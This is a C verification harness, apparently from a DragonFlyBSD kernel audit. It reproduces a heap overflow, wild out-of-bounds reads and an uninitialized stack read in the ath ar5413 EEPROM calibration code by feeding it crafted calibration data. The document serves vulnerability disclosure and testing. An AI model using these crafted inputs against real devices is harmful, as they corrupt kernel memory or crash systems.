⬢ DragonFlyBSD Kernel Audit
DF-4619 / ar5413_harness.c
← back to finding ↓ download raw
/*
 * ar5413_harness.c -- DF-4619 / DF-4620 / DF-4622 verification harness
 *
 * Proves the memory-safety violations in
 *   sys/dev/netif/ath/ath_hal/ar5212/ar5413.c
 *   ar5413getGainBoundariesAndPdadcsForPowers()  (lines 397-540)
 * on DragonFlyBSD by compiling the REAL function bodies VERBATIM
 * (sed-extracted at build time from the guest's /usr/src copy; see
 * build.sh) against faithful struct definitions (same member order;
 * bank row counts = the real ar5212Bank{1,2,3,6,7}_5413 ini rows).
 *
 * Threat model mirrored: the EEPROM raw cal dataset (ee_rawDataset2413)
 * is attacker-crafted (AR_EEPROM_VER5_0/eepMap==2 card; parse path
 * ah_eeprom_v3.c:823-824).  The parser bounds numVpd to {0,4,5}
 * (ar2413SetupRawDataset ah_eeprom_v3.c:656-673) and pwr_t4 to
 * [0,244]; the gain selection (xpd_mask), pwr_I and deltas are
 * EEPROM-controlled.  The harness crafts RAW_DATA_STRUCT_2413 in the
 * exact shape ar2413SetupRawDataset/ar2413EepromToRawDataset produce.
 *
 * Mode 1 (DF-4619): 4 used gains, spans >= 2, Pmin pattern {0,58,58,58},
 *   overlap 15  =>  kk runs to 168 while pPDADCValues is
 *   priv->pcdacTable[PWR_TABLE_SIZE_2413=128]  =>  40 uint16 writes past
 *   the array into Bank1Data..Bank6Data (intra-object heap overflow;
 *   detected via 0xAAAAAAAA canary prefill of the bank region).
 *
 * Mode 2 (DF-4620): xpd_mask==0 => every numVpd==0 => numPdGainsUsed==0.
 *   HALASSERT(1 <= numPdGainsUsed && ...) at ar5413.c:580 is compiled
 *   out in release (AH_ASSERT undefined, ah_internal.h:665-676), so:
 *     - ar5413.c:528  pPdGainBoundaries[ii-1] with ii==0: ii is
 *       uint32_t => index 0xFFFFFFFF => read at gb + 0x1FFFFFFFE
 *       (+8.59 GB) -- a WILD read, not a 2-byte under-read.
 *     - ar5413.c:532  pPDADCValues[kk-1] with kk==0: same wrap from
 *       the pcdacTable base.
 *     - ar5413.c:468  *pMinCalPower = Pmin_t2[0] reads uninitialized
 *       stack (Pmin_t2[] only written when numVpd>0).
 *   In the kernel the +8.6GB read lands in the direct map (mapped RAM
 *   => garbage value survives and propagates) or in a KVA hole (panic).
 *   The harness emulates the survival case by mmapping the exact wild
 *   pages with 0x5A5A and observing the value propagate into
 *   gainBoundaries[0], pcdacTable[0], and the whole pdadc table.
 *
 * Mode 3 (DF-4622): 4 gains with FLAT curves (EEPROM deltas all 0)
 *   => sizeCurrVpdTable==0 for every gain =>
 *   ar5413.c:508-509 VpdTable_I[ii][sizeCurrVpdTable-1/-2] wraps to
 *   element index 0xFFFFFFFF/0xFFFFFFFE => read at row + 0x1FFFFFFFE.
 *   Left unmapped => SIGSEGV with si_addr exactly equal to
 *   &vpdTable_I[0][0] + 0x1FFFFFFFE (asserted in the handler).
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>

/* ---------------- kernel shims (release-build semantics) -------------- */
typedef int HAL_BOOL;
#define AH_TRUE  1
#define AH_FALSE 0
#define AH_NULL  ((void *)0)
/* release build: AH_ASSERT undefined -> HALASSERT is a no-op
 * (sys/dev/netif/ath/ath_hal/ah_internal.h:665-676, sys/conf/options:549) */
#define HALASSERT(x) do { } while (0)
#define HALDEBUG(ah, lvl, ...) do { } while (0)

struct ath_hal;			/* opaque: only used as a pointer */

/* RF_HAL_FUNCS -- verbatim shape from ar5212.h:130-149 (void* + 8 fn ptrs) */
typedef struct RfHalFuncs {
	void *priv;
	void (*rfDetach)(struct ath_hal *);
	void (*writeRegs)(struct ath_hal *, u_int, u_int, int);
	uint32_t *(*getRfBank)(struct ath_hal *, int);
	void *setChannel;
	void *setRfRegs;
	void *setPowerTable;
	void *getChannelMaxMinPower;
	void *getNfAdjust;
} RF_HAL_FUNCS;

/* constants from ah_eeprom_v3.h:280-292 */
#define NUM_11A_EEPROM_CHANNELS_2413 10
#define PWR_TABLE_SIZE_2413          128
#define MAX_NUM_PDGAINS_PER_CHANNEL  4
#define NUM_POINTS_LAST_PDGAIN       5
#define MAX_PWR_RANGE_IN_HALF_DB     64
#define PD_GAIN_BOUNDARY_STRETCH_IN_HALF_DB 4

/* RAW_DATA_*_2413 -- verbatim from ah_eeprom_v3.h:294-314 */
typedef struct {
	uint16_t pd_gain;
	uint16_t numVpd;
	uint16_t Vpd[NUM_POINTS_LAST_PDGAIN];
	int16_t  pwr_t4[NUM_POINTS_LAST_PDGAIN];
} RAW_DATA_PER_PDGAIN_2413;

typedef struct {
	uint16_t channelValue;
	int16_t  maxPower_t4;
	uint16_t numPdGains;
	RAW_DATA_PER_PDGAIN_2413 pDataPerPDGain[MAX_NUM_PDGAINS_PER_CHANNEL];
} RAW_DATA_PER_CHANNEL_2413;

typedef struct {
	uint16_t pChannels[NUM_11A_EEPROM_CHANNELS_2413];
	uint16_t numChannels;
	uint16_t xpd_mask;
	RAW_DATA_PER_CHANNEL_2413 pDataPerChannel[NUM_11A_EEPROM_CHANNELS_2413];
} RAW_DATA_STRUCT_2413;

/* struct ar5413State -- verbatim member order from ar5413.c:35-57;
 * bank row counts are the real ar5212Bank{1,2,3,6,7}_5413 rows
 * counted from the shipped ar5212.ini (1,1,1,37,3). */
struct ar5413State {
	RF_HAL_FUNCS base;
	uint16_t pcdacTable[PWR_TABLE_SIZE_2413];
	uint32_t Bank1Data[1];
	uint32_t Bank2Data[1];
	uint32_t Bank3Data[1];
	uint32_t Bank6Data[37];
	uint32_t Bank7Data[3];
	uint16_t vpdTable_L[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t vpdTable_R[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t vpdTable_I[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
};

static struct ar5413State *harness_priv;
#define AR5413(ah) ((struct ar5413State *)harness_priv)

/* ---- VERBATIM kernel code: ar5413.c lines 288-540 (see build.sh) ---- */
#include "ar5413_extracted.inc"

/* ------------------------------- harness ------------------------------- */
static struct ar5413State state_storage;
static int g_mode;
static struct { uint16_t pre[2]; uint16_t gb[4]; } *sb;

static uint64_t wild_expect(void)
{
	if (g_mode == 2)	/* ar5413.c:528  pPdGainBoundaries[ii-1], ii==0 */
		return (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull);
	/* mode 3: ar5413.c:508  VpdTable_I[0][(uint32)0-1] */
	return (uint64_t)((char *)state_storage.vpdTable_I[0] + 0x1FFFFFFFEull);
}

static void segv_handler(int sig, siginfo_t *si, void *uc)
{
	uint64_t expect = wild_expect();
	(void)sig; (void)uc;
	printf("REPRODUCED: SIGSEGV si_addr=%p, expected wild address %p\n",
	       si->si_addr, (void *)expect);
	printf("  (uint32 index wrap: element index 0xFFFFFFFF x "
	       "sizeof(uint16_t)=2 => +0x1FFFFFFFE bytes = +8.59 GB)\n");
	printf("%s\n", (uint64_t)si->si_addr == expect ?
	    "MATCH: wild OOB read proven (ar5413.c uint32 counter underflow)"
	    : "MISMATCH");
	_exit((uint64_t)si->si_addr == expect ? 0 : 2);
}

static void set_gain(RAW_DATA_STRUCT_2413 *d, int slot, int numVpd,
		     int pwr0_t4, int step_t4, int vpd0, int vpd_step)
{
	RAW_DATA_PER_PDGAIN_2413 *g =
	    &d->pDataPerChannel[0].pDataPerPDGain[slot];
	int i;
	g->pd_gain = slot;
	g->numVpd = numVpd;
	for (i = 0; i < numVpd; i++) {
		g->pwr_t4[i] = (int16_t)(pwr0_t4 + i * step_t4);
		g->Vpd[i]   = (uint16_t)(vpd0 + i * vpd_step);
	}
}

int main(int argc, char **argv)
{
	int mode = (argc > 1) ? atoi(argv[1]) : 1;
	RAW_DATA_STRUCT_2413 dataset;
	uint16_t rfXpdGain[4];
	int16_t minPower = 0x7c7c;
	int ret, i, first_bad = -1, last_bad = -1;
	struct sigaction sa;

	setvbuf(stdout, NULL, _IONBF, 0);	/* survive SIGSEGV for output */
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = segv_handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);

	sb = malloc(sizeof(*sb));			/* kernel: caller stack */
	memset(sb, 0, sizeof(*sb));
	g_mode = mode;

	memset(&state_storage, 0xAA, sizeof(state_storage));
	memset(&dataset, 0, sizeof(dataset));
	memset(rfXpdGain, 0, sizeof(rfXpdGain));

	harness_priv = &state_storage;

	dataset.numChannels = 1;			/* single pier  */
	dataset.pChannels[0] = 5200;			/* == channel   */
	dataset.xpd_mask = 0xF;

	if (mode == 1) {
		/* DF-4619: 4 gains, spans >= 2 (avoids the independent
		 * line-508 uint32 wrap = DF-4622, isolating the kk
		 * overflow), Pmin pattern {0,58,58,58}.
		 * pwr_t4[0]=4*pwr_I, +2*delta per point (EEPROM shape). */
		set_gain(&dataset, 3, 4,   0, 4, 0x10, 0x3F); /* Pmin0  Pmax2  */
		set_gain(&dataset, 2, 4, 116, 4, 0x10, 0x3F); /* Pmin58 Pmax62 */
		set_gain(&dataset, 1, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 116, 4, 0x10, 0x3F);
	} else if (mode == 3) {
		/* DF-4622: FLAT curves (EEPROM deltas all 0)
		 * => sizeCurrVpdTable == 0 for every gain */
		set_gain(&dataset, 3, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 2, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 1, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 124, 0, 0x10, 0x3F);
	} else {
		/* DF-4620: xpd_mask==0 -> all numVpd==0 (the shape
		 * ar2413SetupRawDataset produces for xpd_mask 0) */
		dataset.xpd_mask = 0;
	}

	sb->pre[0] = 0x1111; sb->pre[1] = 0x2222;

	if (mode == 2) {
		/* Emulate the kernel direct map: in the kernel the +8.6GB
		 * wild read lands on mapped RAM (garbage) instead of
		 * faulting.  Map the exact wild pages so the call COMPLETES
		 * and we observe the value propagate. */
		uint64_t wa[2];
		void *p1, *p2;
		wa[0] = (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull) & ~0xFFFULL;
		wa[1] = (uint64_t)((char *)state_storage.pcdacTable +
				    0x1FFFFFFFEull) & ~0xFFFULL;
		p1 = mmap((void *)wa[0], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		p2 = mmap((void *)wa[1], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		if (p1 == MAP_FAILED || p2 == MAP_FAILED) {
			printf("mmap of wild pages failed\n");
			return 3;
		}
		*(uint16_t *)((char *)sb->gb + 0x1FFFFFFFEull) = 0x5A5A;
		*(uint16_t *)((char *)state_storage.pcdacTable +
			       0x1FFFFFFFEull) = 0x5A5A;
		printf("mapped wild pages %p %p, seeded 0x5A5A\n", p1, p2);
	}

	printf("sizeof(struct ar5413State)=%zu offsetof(pcdacTable)=%zu "
	       "Bank1Data=%zu vpdTable_I=%zu\n",
	       sizeof(state_storage),
	       offsetof(struct ar5413State, pcdacTable),
	       offsetof(struct ar5413State, Bank1Data),
	       offsetof(struct ar5413State, vpdTable_I));

	ret = ar5413getGainBoundariesAndPdadcsForPowers(
	    (struct ath_hal *)1 /* ah: unused by the extracted code */,
	    5200 /* channel == pChannels[0] */,
	    &dataset,
	    15 /* pdGainOverlap_t2: max of the 4-bit TPCRG5 field */,
	    &minPower, sb->gb, rfXpdGain, state_storage.pcdacTable);

	printf("mode=%d numPdGainsUsed(ret)=%d minPower=0x%04x\n",
	       mode, ret, (uint16_t)minPower);

	if (mode == 1) {
		/* DF-4619 detector: the bank region is never legitimately
		 * written by this function; any cell != 0xAAAAAAAA was
		 * clobbered by pPDADCValues[kk++] walking past
		 * pcdacTable[127]. */
		uint16_t *cells = (uint16_t *)state_storage.Bank1Data;
		int ncells = 80; /* Bank1+2+3+6 region in u16 cells */
		for (i = 0; i < ncells; i++) {
			if (cells[i] != (uint16_t)0xAAAA) {
				if (first_bad < 0) first_bad = i;
				last_bad = i;
			}
		}
		if (first_bad < 0) {
			printf("DF-4619: NO overflow detected\n");
			return 1;
		}
		printf("DF-4619 REPRODUCED: pPDADCValues write walked past "
		       "pcdacTable[127]: first clobbered u16 cell %d bytes "
		       "past array end, last %d bytes past (value 0x%04x)\n",
		       first_bad * 2, last_bad * 2 + 1, cells[first_bad]);
		printf("  => intra-object heap OOB WRITE past "
		       "pcdacTable[PWR_TABLE_SIZE_2413=128] into Bank data\n");
		return 0;
	}

	/* DF-4620 detectors: the +0x1FFFFFFFE wild-read values (0x5A5A,
	 * read from pages ~8.6GB above the arrays, as the kernel direct
	 * map would allow) must have propagated into the outputs. */
	printf("gainBoundaries[0] = 0x%04x (== 0x5A5A => wild read at "
	       "gb+0x1FFFFFFFE, ar5413.c:528, then written to TPCRG5 by "
	       "ar5413SetPowerTable:639-644)\n", sb->gb[0]);
	printf("pcdacTable[0] = 0x%04x (== 0x5A5A => wild read at "
	       "pcdacTable+0x1FFFFFFFE, ar5413.c:532, replicated across "
	       "the pdadc table / 32 PHY reg writes)\n",
	       state_storage.pcdacTable[0]);
	printf("minPower out = 0x%04x (uninitialized Pmin_t2[0] stack read "
	       "at ar5413.c:468; dataset carries no power data)\n",
	       (uint16_t)minPower);
	if (sb->gb[0] == 0x5A5A && state_storage.pcdacTable[0] == 0x5A5A) {
		printf("DF-4620 REPRODUCED: uint32-underflow wild reads at "
		       "ar5413.c:528/:532 + uninit stack read at :468\n");
		return 0;
	}
	return 1;
}